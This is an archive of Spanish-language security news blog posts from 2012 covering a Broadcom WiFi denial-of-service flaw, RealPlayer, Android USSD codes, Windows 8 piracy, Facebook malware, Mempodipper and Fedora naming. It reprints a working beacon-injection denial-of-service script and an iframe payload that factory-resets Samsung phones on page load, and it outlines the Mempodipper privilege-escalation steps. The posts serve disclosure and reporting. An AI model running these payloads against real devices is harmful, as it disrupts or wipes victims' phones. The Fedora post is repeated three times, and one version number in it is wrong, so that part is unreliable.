domingo, 18 de noviembre de 2012

Denegación de servicio a multitud de Smartphones via WiFi


Se ha publicado una vulnerabilidad presente en determinados Chipset de la firma Broadcom, en especial los modelos BCM4325/29 integrados en multitud de dispositivos inalámbricos como smartphones, tablets e incluso vehículos (como el Ford Edge).

El fallo permitiría realizar una denegación de servicio al módulo inalámbrico e incluso la revelación de información sensible según los propios investigadores. El fallo podría reproducirse atacando directamente al módulo WiFi independientemente del sistema operativo presente en el dispositivo.

La vulnerabilidad (CVE-2012-2619) reportada por el laboratorio de CoreLabs (Core Security Technologies) fue descubierta por el investigador argentino Andrés Blanco, del que hizo pública demostración durante la pasada Ekoparty en Buenos Aires, Argentina. Su compañero Matias Eissler desarrolló la prueba de concepto totalmente funcional.

Mediante estudios de ingeniería inversa consiguieron comprender la estructura del firmware de los dispositivos Broadcom, hallando la forma de alterar el tráfico WiFi (normativa IEEE 802.11) de tal manera que afectara a dichos dispositivos inalámbricos, a través del envío de tramas RSN (IEEE 802.11i, WPA/WPA2) especialmente manipuladas.

El protocolo RSN (Robust Security Network) interviene en la negociación y establecimiento del tipo de autenticación y cifrado utilizado durante una sesión WPA/WPA2.

En coordinación con los investigadores y el US-CERT, Broadcom facilitó a los diferentes fabricantes (Apple, HTC, Motorola, Sony, Nokia, Samsung...) un nuevo firmware que impide la vulnerabilidad para
integrarlo en sus dispositivos, por lo que se da como subsanada.

Los dispositivos afectados con el chipset BCM4325:
Apple iPhone 3GS
Apple iPod 2G
HTC Touch Pro 2
HTC Droid Incredible
Samsung Spica
Acer Liquid
Motorola Devour
Vehículo Ford Edge

Dispositivos afectados con el chipset BCM4329:
Apple iPhone 4
Apple iPhone 4 Verizon
Apple iPod 3G
Apple iPad Wi-Fi
Apple iPad 3G
Apple iPad 2
Apple Tv 2G
Motorola Xoom
Motorola Droid X2
Motorola Atrix
Samsung Galaxy Tab
Samsung Galaxy S 4G
Samsung Nexus S
Samsung Stratosphere
Samsung Fascinate
HTC Nexus One
HTC Evo 4G
HTC ThunderBolt
HTC Droid Incredible 2
LG Revolution
Sony Ericsson Xperia Play
Pantech Breakout
Nokia Lumina 800
Kyocera Echo
Asus Transformer Prime
Malata ZPad

Y la prueba de concepto realizada por Matias Eissler:

Código:
- ------------------------- poc.py -------------------------
#!/usr/bin/env python

import sys
import time
import struct
import PyLorcon2

def beaconFrameGenerator():
sequence = 0
while(1):
sequence = sequence % 4096

# Frame Control
frame = '\x80' # Version: 0 - Type: Managment - Subtype: Beacon
frame += '\x00' # Flags: 0
frame += '\x00\x00' # Duration: 0
frame += '\xff\xff\xff\xff\xff\xff' # Destination: ff:ff:ff:ff:ff:ff
frame += '\x00\x00\x00\x15\xde\xad' # Source: 00:00:00:15:de:ad
frame += '\x00\x00\x00\x15\xde\xad' # BSSID: 00:00:00:15:de:ad
frame += struct.pack('H', sequence) # Fragment: 0 - Sequenence:
part of the generator
# Frame Body
frame += struct.pack('Q', time.time()) # Timestamp
frame += '\x64\x00' # Beacon Interval: 0.102400 seconds
frame += '\x11\x04' # Capability Information: ESS, Privacy,
Short Slot time
# Information Elements
# SSID: buggy
frame += '\x00\x05buggy'
# Supported Rates: 1,2,5.5,11,18,24,36,54
frame += '\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c'
# DS Parameter Set: 6
frame += '\x03\x01\x06'
# RSN IE
frame += '\x30' # ID: 48
frame += '\x14' # Size: 20
frame += '\x01\x00' # Version: 1
frame += '\x00\x0f\xac\x04' # Group cipher suite: TKIP
frame += '\x01\x00' # Pairwise cipher suite count: 1
frame += '\x00\x0f\xac\x00' # Pairwise cipher suite 1: TKIP
frame += '\xff\xff' # Authentication suites count: 65535
frame += '\x00\x0f\xac\x02' # Pairwise authentication suite 2: PSK
frame += '\x00\x00'

sequence += 1
yield frame

if __name__ == "__main__":
if len(sys.argv) != 2:
print "Usage:"
print "\t%s <wireless interface>" % sys.argv[0]
sys.exit(-1)

iface = sys.argv[1]
context = PyLorcon2.Context(iface)
context.open_injmon()

generator = beaconFrameGenerator()

for i in range(10000):
frame = generator.next()
time.sleep(0.100)
context.send_bytes(frame)
  
Más información:

VU#160027: Broadcom BCM4325 and BCM4329 wireless chipset denial-of-service vulnerability
US-CERT Vulnerability Note VU#160027 - Broadcom BCM4325 and BCM4329 wireless chipset denial-of-service vulnerability

Broadcom DoS on BCM4325 and BCM4329 devices
Core Security Technologies

One firmware to monitor 'em all
Corelabs site

Ejecución remota de código en RealPlayer


Se ha publicado una vulnerabilidad en la última versión de RealPlayer que podría permitir ejecutar código arbitrario si se abre un fichero especialmente manipulado.

RealPlayer es un reproductor multimedia de la empresa RealNetworks capaz de reproducir multitud de formatos de audio y vídeo como MP3, MP4, WMA, WAV, AAC, AVI, MOV, WMV, 3GP y RM.

La vulnerabilidad que afecta a RealPlayer está causada por un error al procesar ficheros .3GP y .3G2 que podría causar un desbordamiento de memoria y permitir la escritura en zonas en las que no se dispone de
acceso. Aprovechando este error un atacante remoto podría lograr la ejecución de código arbitrario con los permisos del usuario que lanza el reproductor multimedia. La víctima debería reproducir un fichero de vídeo especialmente manipulado para poder reproducir la vulnerabilidad.

La vulnerabilidad ha sido reportada por eEye Digital Security, y afecta a la versión actual de RealPlayer, la 15.0.6.14.

Existe una prueba de concepto publicada por 'coolkaveh', en forma de fichero .3G2, que provoca una corrupción de memoria y posterior cierre del reproductor.

Más información:

RealPlayer 3GP/3G2 File Handling Memory Corruption
Zero-Day Tracker 2012 | eEye Digital Security

El “Gato de Schrodinger” es el nombre de Fedora 19



Muchas veces hemos escuchado que los proyectos de cómputo tienen nombres extraños y en ocasiones hasta bizarros. Por ejemplo, Turbo Pascal para Windows, de Borland, tenía como nombre clave “Delphi” y finalmente, éste fue el nombre que se quedó. Así, solamente con el cambio de nombre podíamos decir que sabíamos un nuevo lenguaje de programación, aunque estuviésemos hablando de Pascal, ese viejo amigo. Otro ejemplo es Ubuntu, que su versión 12.17 se llamará Quantal Quetzal.

Con esto en mente, Fedora decidió hacer una especie de consulta en el mundo geek, para ver cómo se llamaría su siguiente versión de su distribución de Linux. Esto es interesante porque fuera del nombre que haya sido elegido, puede dar una idea de lo que pasa en la mente de estos personajes llamados programadores.

Así, Fedora ha decidido que la siguiente versión, la 19, se llamará “el gato de Schrodinger”. Cabe decir que la versión anterior tenía un nombre quizás más extraño: “Vaca esférica”. Esto viene de la física teórica y es en realidad una broma geek: “Tengo una fórmula para mejorar la producción de leche pero solamente trabaja bien con una vaca esférica en el vacío”.

El gato de Schrodinger es otro tema de la física cuántica. De acuerdo a la Wikipedia, Erwin Schrodinger plantea un sistema que se encuentra formado por una caja cerrada y opaca que contiene un gato en su interior, una botella de gas venenoso y un dispositivo, el cual contiene una partícula radiactiva con una probabilidad del 50% de desintegrarse en un tiempo dado, de manera que si la partícula se desintegra, el veneno se libera y el gato muere.

Al terminar el tiempo establecido, hay una probabilidad del 50% de que el dispositivo se haya activado y el gato esté muerto, y la misma probabilidad de que el dispositivo no se haya activado y el gato esté vivo. Según los principios de la mecánica cuántica, la descripción correcta del sistema en ese momento (su función de onda) será el resultado de la superposición de los estados “vivo” y “muerto” (a su vez descritos por su función de onda). Sin embargo, una vez abramos la caja para comprobar el estado del gato, éste estará vivo o muerto (que es cuando se colapsa precisamente la función de onda, que a todo esto es una expresión matemática sin asidero en la física, como lo es, por ejemplo, la ecuación de la segunda ley de Newton).

Ahí radica la paradoja. Mientras que en la descripción clásica del sistema el gato estará vivo o muerto antes de que abramos la caja y comprobemos su estado, en la mecánica cuántica el sistema se encuentra en una superposición de los estados posibles hasta que interviene el observador. El paso de una superposición de estados a un estado definido se produce como consecuencia del proceso de medida, y no puede predecirse el estado final del sistema: sólo la probabilidad de obtener cada resultado. La naturaleza del proceso sigue siendo una incógnita, que ha dado lugar a distintas interpretaciones de carácter especulativo.

Así, las votaciones para elegir el nombre de la siguiente versión de Fedora fueron de la siguiente manera:


Un total de 3128 votos

    Votos ::  Nombre
    ——————————————–
    1876  ::  Gato de Schrodinger
    1620  ::  Bosón de Higgs
    1012  ::  Tiddalik
    960   ::  Monstruo de Loch Ness (lago Ness)
    907   ::  Dinámica newtoniana
    892   ::  Blueberries marcianas
    722   ::  Potasio parabólico
    595   ::  Becerro cúbico


Sí, muchos nombres basados en la ciencia y pocas sugerencias sociales. La lista completa puede verse aquí.
Muchas veces hemos escuchado que los proyectos de cómputo tienen nombres extraños y en ocasiones hasta bizarros. Por ejemplo, Turbo Pascal para Windows, de Borland, tenía como nombre clave “Delphi” y finalmente, éste fue el nombre que se quedó. Así, solamente con el cambio de nombre podíamos decir que sabíamos un nuevo lenguaje de programación, aunque estuviésemos hablando de Pascal, ese viejo amigo. Otro ejemplo es Ubuntu, que su versión 12.17 se llamará Quantal Quetzal.
Con esto en mente, Fedora decidió hacer una especie de consulta en el mundo geek, para ver cómo se llamaría su siguiente versión de su distribución de Linux. Esto es interesante porque fuera del nombre que haya sido elegido, puede dar una idea de lo que pasa en la mente de estos personajes llamados programadores.
Así, Fedora ha decidido que la siguiente versión, la 19, se llamará “el gato de Schrodinger”. Cabe decir que la versión anterior tenía un nombre quizás más extraño: “Vaca esférica”. Esto viene de la física teórica y es en realidad una broma geek: “Tengo una fórmula para mejorar la producción de leche pero solamente trabaja bien con una vaca esférica en el vacío”.
El gato de Schrodinger es otro tema de la física cuántica. De acuerdo a la Wikipedia, Erwin Schrodinger plantea un sistema que se encuentra formado por una caja cerrada y opaca que contiene un gato en su interior, una botella de gas venenoso y un dispositivo, el cual contiene una partícula radiactiva con una probabilidad del 50% de desintegrarse en un tiempo dado, de manera que si la partícula se desintegra, el veneno se libera y el gato muere.
Al terminar el tiempo establecido, hay una probabilidad del 50% de que el dispositivo se haya activado y el gato esté muerto, y la misma probabilidad de que el dispositivo no se haya activado y el gato esté vivo. Según los principios de la mecánica cuántica, la descripción correcta del sistema en ese momento (su función de onda) será el resultado de la superposición de los estados “vivo” y “muerto” (a su vez descritos por su función de onda). Sin embargo, una vez abramos la caja para comprobar el estado del gato, éste estará vivo o muerto (que es cuando se colapsa precisamente la función de onda, que a todo esto es una expresión matemática sin asidero en la física, como lo es, por ejemplo, la ecuación de la segunda ley de Newton).
Ahí radica la paradoja. Mientras que en la descripción clásica del sistema el gato estará vivo o muerto antes de que abramos la caja y comprobemos su estado, en la mecánica cuántica el sistema se encuentra en una superposición de los estados posibles hasta que interviene el observador. El paso de una superposición de estados a un estado definido se produce como consecuencia del proceso de medida, y no puede predecirse el estado final del sistema: sólo la probabilidad de obtener cada resultado. La naturaleza del proceso sigue siendo una incógnita, que ha dado lugar a distintas interpretaciones de carácter especulativo.
Muchas veces hemos escuchado que los proyectos de cómputo tienen nombres extraños y en ocasiones hasta bizarros. Por ejemplo, Turbo Pascal para Windows, de Borland, tenía como nombre clave “Delphi” y finalmente, éste fue el nombre que se quedó. Así, solamente con el cambio de nombre podíamos decir que sabíamos un nuevo lenguaje de programación, aunque estuviésemos hablando de Pascal, ese viejo amigo. Otro ejemplo es Ubuntu, que su versión 12.17 se llamará Quantal Quetzal.
Con esto en mente, Fedora decidió hacer una especie de consulta en el mundo geek, para ver cómo se llamaría su siguiente versión de su distribución de Linux. Esto es interesante porque fuera del nombre que haya sido elegido, puede dar una idea de lo que pasa en la mente de estos personajes llamados programadores.
Así, Fedora ha decidido que la siguiente versión, la 19, se llamará “el gato de Schrodinger”. Cabe decir que la versión anterior tenía un nombre quizás más extraño: “Vaca esférica”. Esto viene de la física teórica y es en realidad una broma geek: “Tengo una fórmula para mejorar la producción de leche pero solamente trabaja bien con una vaca esférica en el vacío”.
El gato de Schrodinger es otro tema de la física cuántica. De acuerdo a la Wikipedia, Erwin Schrodinger plantea un sistema que se encuentra formado por una caja cerrada y opaca que contiene un gato en su interior, una botella de gas venenoso y un dispositivo, el cual contiene una partícula radiactiva con una probabilidad del 50% de desintegrarse en un tiempo dado, de manera que si la partícula se desintegra, el veneno se libera y el gato muere.
Al terminar el tiempo establecido, hay una probabilidad del 50% de que el dispositivo se haya activado y el gato esté muerto, y la misma probabilidad de que el dispositivo no se haya activado y el gato esté vivo. Según los principios de la mecánica cuántica, la descripción correcta del sistema en ese momento (su función de onda) será el resultado de la superposición de los estados “vivo” y “muerto” (a su vez descritos por su función de onda). Sin embargo, una vez abramos la caja para comprobar el estado del gato, éste estará vivo o muerto (que es cuando se colapsa precisamente la función de onda, que a todo esto es una expresión matemática sin asidero en la física, como lo es, por ejemplo, la ecuación de la segunda ley de Newton).
Ahí radica la paradoja. Mientras que en la descripción clásica del sistema el gato estará vivo o muerto antes de que abramos la caja y comprobemos su estado, en la mecánica cuántica el sistema se encuentra en una superposición de los estados posibles hasta que interviene el observador. El paso de una superposición de estados a un estado definido se produce como consecuencia del proceso de medida, y no puede predecirse el estado final del sistema: sólo la probabilidad de obtener cada resultado. La naturaleza del proceso sigue siendo una incógnita, que ha dado lugar a distintas interpretaciones de carácter especulativo.
sábado, 27 de octubre de 2012

Vulnerabilidad de USSD en Android Neutraliza la Tarjeta SIM y Resetea el Telefono!!!



Ha salido a la luz la noticia de un error en Android que permite inutilizar totalmente la tarjeta SIM de un teléfono móvil, e incluso dependiendo de la marca, permite que el móvil sea reseteado sólo con visitar una página web maliciosa. El ataque puede consumarse con solo visitar una página web.

El lugar de presentación del error fue la última Ekoparty en Buenos Aires por Ravi Borgaonkar (@raviborgaonkar) realizada. El error es la autoejecución de los comandos USSD en los dispositivos Android.

¿Qué es un USSD?

El USSD, acrónimo de 'Unstructured Supplementary Service Data', es un servicio que permite el envío de datos a través de redes móviles GSM de forma inmediata, muy similar al SMS. La diferencia es que no necesita de ningún intermediario como ocurre con los SMS, que precisan de un SMSC (Short Message Service Center) para almacenar el SMS de un terminal origen hasta que el terminal destino está disponible.

Cuando un usuario introduce un código USSD, la respuesta del servicio suele ser casi instantánea. Se hace uso de de USSD, por ejemplo, para realizar una consulta de saldo o conocer el IMEI del teléfono.

¿Cuál es el error?

El error se da por un fallo en la programación de Android, específicamente en los 'intents', que ejecutan automáticamente los tag que contienen USSDs sin la necesidad de que este sea validado por parte del usuario.

Ravi Borgaonkar se basa en el tag 'tel', un intent para notificar la acción de que se va a utilizar la llamada telefónica, perfectamente válido y definido en el W3C que da la capacidad de marcar números de teléfono, (no solamente a los teléfonos Android, sino a todas las plataformas disponibles, incluso a las más antiguas si disponen de un navegador web).

¿Cómo puede afectar este error al teléfono?

El error, tal y como explicó Ravi, se puede utilizar para enviar 10 veces el código PUK erróneo, y esto (documentado en el RFC de telefonía), deshabilitaría inmediatamente una tarjeta SIM. Dejaría a la víctima sin teléfono hasta que el operador facilitara otra tarjeta válida.

¿Como se puede aprovechar la vulnerabilidad?

El error puede ser aprovechado de forma remota simplemente accediendo a una página web. Se hace especialmente fácil a través de códigos QR, una URL acortada por un acortador de direcciones o simplemente a través de la ingeniería social. Los USSD pueden ser también introducidos a través
de tecnología NFC (Next Field Communications).

¿Por qué afecta de forma especial a Samsung?

Además del ataque anteriormente descrito, Samsung es vulnerable a otro ataque adicional que permite que un dispositivo sea reseteado volviendo a sus valores de fábricas. Esto es debido a que Samsung dispone de un USSD 'especial' no documentado oficialmente que permite a devolver los parámetros del teléfono a los valores de fábrica. Se han usado a veces en algunos modelos para liberar los teléfonos de esta marca. Otras
marcas podrían verse afectadas como HTC o Sony.

En concreto, el código para los Galaxy es el *2767*3855# y la vulnerabilidad puede ser explotable de forma directa con una simple visita a una página web que contenga el código de reseteo en la etiqueta
'tel', quedando de una forma similar a esta.


Código:
<iframe src="tel:*2767*3855%23" width="320" height="240"></iframe>
  

Para saber si se es vulnerable sin riesgos, se puede realizar la prueba con el código USSD universal para conocer el IMEI:

Código:
<iframe src="tel:*%2306%23"></iframe>
  
Para mitigar el error, Collin Mulliner ha desarrollado una pequeña aplicación para Android llamada 'TelStop' que permite que estos USSD deban ser aceptados por parte del usuario antes de ser ejecutados.



Más información:

Some Android phones can be reset to factory default by clicking on links
ISC Diary | Some Android phones can be reset to factory default by clicking on links

TelStop de Collin Mulliner
https://play.google.com/store/apps/d...lliner.telstop

Resetear un teléfono Samsung con solo visitar un enlace
http://www.dragonjar.org/resetear-un...n-enlace.xhtml

Un Ruso Logra Hackear Windows 8 a Solo Unas Cuantas Horas De Su Liberacion Oficial!!!!!



El sistema de protección de Windows 8 ya fue hackeado por un pirata ruso, lo que ha demostrado la inutilidad del sistema proporcionado por Microsoft para proteger su software. La opción más viable para que Microsoft detenga a quienes piratean sus productos es bajarle el precio… algo que Bill Gates probablemente no desee.

El nuevo sistema de protección de Windows 8 logró contener a los piratas solo durante unas horas. Un hacker ruso identificado como Wzt ha filtrado a Internet las versiones Pro y Enterprise de Windows 8. Posteriormente, el mismo individuo proporcionó acceso a las claves de activación de las versiones de distribución por volumen.

Pocas horas después que el servidor de activación comenzara a recibir las primeras llamadas de piratas, Microsoft bloqueó el sistema, haciendo imposible la activación de Windows 8 Pro y Enterprise por parte de usuarios ilegítimos.

Esto, a su vez, motivo una respuesta inmediata de los hackers, que por la noche habían logrado eludir la protección, permitiendo nuevamente la activación de versiones pirateadas del nuevo sistema operativo de Microsoft.

Indudablemente, la información causa incomodidad en Microsoft, que ha propuesto a sus socios OEM (fabricantes de hardware original) un sistema de protección de Windows que implica insertar en la BIOS o UEFI una clave única de activación de Windows 8. El nuevo sistema implica que los fabricantes reciben las claves directamente desde Microsoft.

En los foros de Internet donde se discute el nuevo sistema antipiratería de Windows 8, las opiniones coinciden en señalar que los piratas siempre encontrarán la forma de eludir las protecciones y utilizar el sistema operativo sin pagar. Éste razonamiento lleva a algunos a concluir que, en realidad, la mejor opción con que cuenta Microsoft en su lucha contra la piratería es el precio del producto. Es decir, si Windows 8 tiene un precio “asequible para la mayoría”, la piratería perdería en parte su sentido.

Éste razonamiento es altamente relativo, y debe ser contrastado con información según la cual incluso aplicaciones con un precio de venta de 99 centavos de dólar son pirateadas.
domingo, 1 de abril de 2012

Facebook: Nuevo malware infecta a miles de usuarios




Lo mas de 800 millones de usuarios de facebook la convierten en un apetitoso blanco para los ciberdelincuentes, por mínimo que esta sea supone miles de usuarios infectados o estafados.
Un falso enlace a la supuesta web del canal estadounidense CNN avisa de un inminente ataque militar de Estados Unidos contra Irán y Arabia Saudí, en lo que supondría el teórico inicio de la Tercera Guerra Mundial.

En dicho enlace el usuario es redirigido a una web falsa con la apariencia del citado medio de reconocido prestigio mundial.

En dicha web se intenta atraer la atención de las víctimas con supuestos vídeos sobre el citado conflicto. Sin embargo, para poder visualizarlos al pulsarlos se pide a los usuarios que instalen una supuesta actualización de Adobe Flash Player, momento en el que se descarga e instala el archivo malicioso, detectado como “Troj / Rootkit-JV“.

Al tratarse de un rootkit, entraña los riesgos de este tipo de malware, convirtiendo el ordenador infectado en una fuente para que los intrusos puedan extraer de él todo tipo de información sin el permiso del usuario o ejecutar acciones de forma remota.

El ritmo de propagación del malware ha sido muy alto, ya que según alerta la empresa de seguridad, más de 60.000 usuarios han sido engañados en apenas tres horas. Sophos ha señalado que el código malicioso instalado en los ordenadores de los usuarios está enviando el mensaje a Facebook sin que los usuarios lo sepan, de modo que sus contactos son víctimas potenciales de este archivo.
sábado, 4 de febrero de 2012

Elevación de privilegios en el kernel Linux y un exploit interesante

El pasado día 17 de enero, Linus Torvalds hizo un commit para corregir una elevación de privilegios en el kernel Linux 2.6 (CVE-2012-0056). El fallo fue descubierto por Jüri Aedla y según comenta Torvalds en el
propio parche, se debe a una incorrecta comprobación de privilegios al abrir el /proc/#pid#/mem de un proceso.

Este error no pasó desapercibido a Jason A. Donenfeld que ha escrito y publicado un interesante exploit lo ha bautizado como 'Mempodipper'.

Donenfeld estudió en detalle el proceso de explotación. De partida se encontró con que efectivamente la comprobación de permisos era débil y además, que la protección contra escritura en el espacio de memoria del proceso fue eliminada del código del kernel. De hecho puede leerse en el comentario del commit correspondiente, que se eliminaba la restricción porque no se consideraba un peligro la escritura en /proc/#pid#/mem.

Esto hace virtualmente vulnerables a los núcleos con versión 2.6.39 o superior.

Cómo funciona:

Cuando se abre /proc/#pid#/mem se usa la función 'mem_open'. Dicha función almacena el 'self_exec_id' correspondiente al proceso que solicita la apertura. Esto se hace para comprobar posteriormente si son suficientes privilegios cuando se efectúan operaciones de lectura o escritura sobre el descriptor de fichero obtenido.

Código:
 static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);
  
 En el caso de la operación de escritura se hace la comprobación del 'self_exec_id' además de llamar a 'check_mem_permission'. En teoría, para escribir en /proc/#pid#/mem, o se es el mismo proceso #pid# o el
proceso tiene ciertos permisos especiales relacionados con ptrace.

Código:
static ssize_t mem_write(struct file * file, const char __user *buf,
size_t count, loff_t *ppos)
{
...
...
  

Se llama a 'check_mem_permission' y si 'mm' vuelve con error no se efectúa la operación:
 
Código:
mm = check_mem_permission(task);
copied = PTR_ERR(mm);
if (IS_ERR(mm))
goto out_free;
  
Código:
'check_mem_permission' simplemente llama a '__check_mem_permission' y
como se observa dentro de su código efectúa la comprobación "task
==current":
  
Código:
static struct mm_struct *__check_mem_permission(struct task_struct
*task)
{
struct mm_struct *mm;

mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);

if (task == current)
return mm;

...
...
  

Si no coinciden devuelve error. Luego debe ser el mismo proceso el que escriba en su propia memoria y si queremos elevar privilegios necesitaríamos un proceso con 'suid'.

Primera aproximación al exploit

Donenfeld se figuró cómo hacer esto:

$ su "yeeeee haw I am a cowboy"
Unknown id: yeeeee haw I am a cowboy

Cualquier cosa que se escriba pasa por la memoria del proceso creado por 'su' (que posee 'suid'). Parecia obvio qué hacer:

Abrimos '/proc/self/mem' y obtenemos su descriptor de archivo. Ejecutamos 'dup2' para multiplexarlo con 'stderr'. Escribimos nuestro shellcode en él y ejecutando posteriormente con exec obtendríamos root... pero no.

Esto no iba a funcionar debido a que aun queda otra restricción más:

Código:
if (file->private_data != (void *)((long)current->self_exec_id))
goto out_mm;
  

El 'self_exec_id' del proceso que va a ejecutar la escritura 'exec' ha de ser el mismo que abrió originalmente '/proc/#pid#/mem', recordad más arriba cuando se llama a 'mem_open'.

¿Por qué ha cambiado 'self_exec_id'?

Cuando se llama a 'exec' el 'self_exec_id', es aumentado en 1 impidiendo que esto ocurra:


Código:
void setup_new_exec(struct linux_binprm * bprm)
{
...
...
current->self_exec_id++;
  
Resumiendo. No podemos abrir el '/proc/#pid#/mem' de un proceso cualquiera, hacer 'dup2' con 'stderr' y luego hacer 'exec' de un proceso con 'suid' para escribir allí, ya que al hacer 'exec' no van a coincidir los 'self_exec_id'.

Donenfeld solucionó esto de manera sencilla pero ingeniosa, muy ingeniosa.

El exploit

Se hace 'fork' de un proceso y en este hijo se ejecuta 'exec' a un nuevo proceso. De este modo el 'self_exec_id', que se ha heredado del padre, ahora tiene un valor de +1 con respecto al padre.

Ahora hacemos que el padre ejecute 'exec' sobre un proceso 'suid' que va a escribir nuestro shellcode. En este momento, al ejecutar 'exec' en el padre su 'self_exec_id' acaba de aumentar a +1 coincidiendo con el del hijo.

Mientras tanto en el proceso 'exec' que ha llamado el hijo se obtiene, al abrir, el descriptor del '/pro /#parent_pid#/mem'; y es posible abrirlo porque no existe restricción en la operación de apertura. Es decir, no van a ser comprobados los privilegios del 'exec' que ha creado el hijo.

En este momento tenemos un 'exec' del padre con un proceso 'suid' dispuesto a escribir el shellcode. Un 'exec' del hijo con un descriptor del '/proc/#pid#/mem' del padre y la salida 'stderr' acoplada a ese descriptor (llamada a 'dup2') y lo más importante, tenemos los 'self_exec_id' igualados por lo tanto la restricción ha sido evadida.

Solo queda que el hijo pase el descriptor al padre y éste va a escribir el shellcode allí ya que cuando llame a 'mem_write', como hemos dicho, las comprobaciones van a ser correctas.

Pero aún queda más, averiguar "dónde" se debe escribir en memoria para poder ejecutar de manera exitosa el shellcode. Se necesita una dirección fija de memoria, algo que podría ser complicado si se usa ASLR, pero Donenfeld observó que la mayoría de binarios 'su' de las distribuciones no están compilados con 'PIE'(Position-independent executable)

Podemos observarlo si hacemos:

$ readelf -h /bin/su | grep Type
Type: EXEC (Executable file)

Como el mismo Donenfeld apunta, si el 'Type' fuera 'DYN' entonces si podría protegerse con ASLR debido a que el ejecutable permitiría ser reubicado en distintas posiciones de memoria. Al no ser el caso el desplazamiento en memoria siempre va a ser el mismo.

Buscando Donenfeld obtuvo la dirección 0x402178, correspondiente a una llamada a 'exit@plt'. Tan solo tenía que escribir en 0x402178 menos la longitud de la cadena 'Unknown id: ' y su shellcode se ejecutaría.

En definitiva, un exploit más interesante que la propia vulnerabilidad que explota y una muestra de ingenio por parte de Donenfeld al conseguir la explotación de la forma que hemos visto.

Más información:

Parche de Linus Torvalds

Commit de la eliminación de la protección de escritura

* Linux Local Privilege Escalation via SUID /proc/pid/mem Write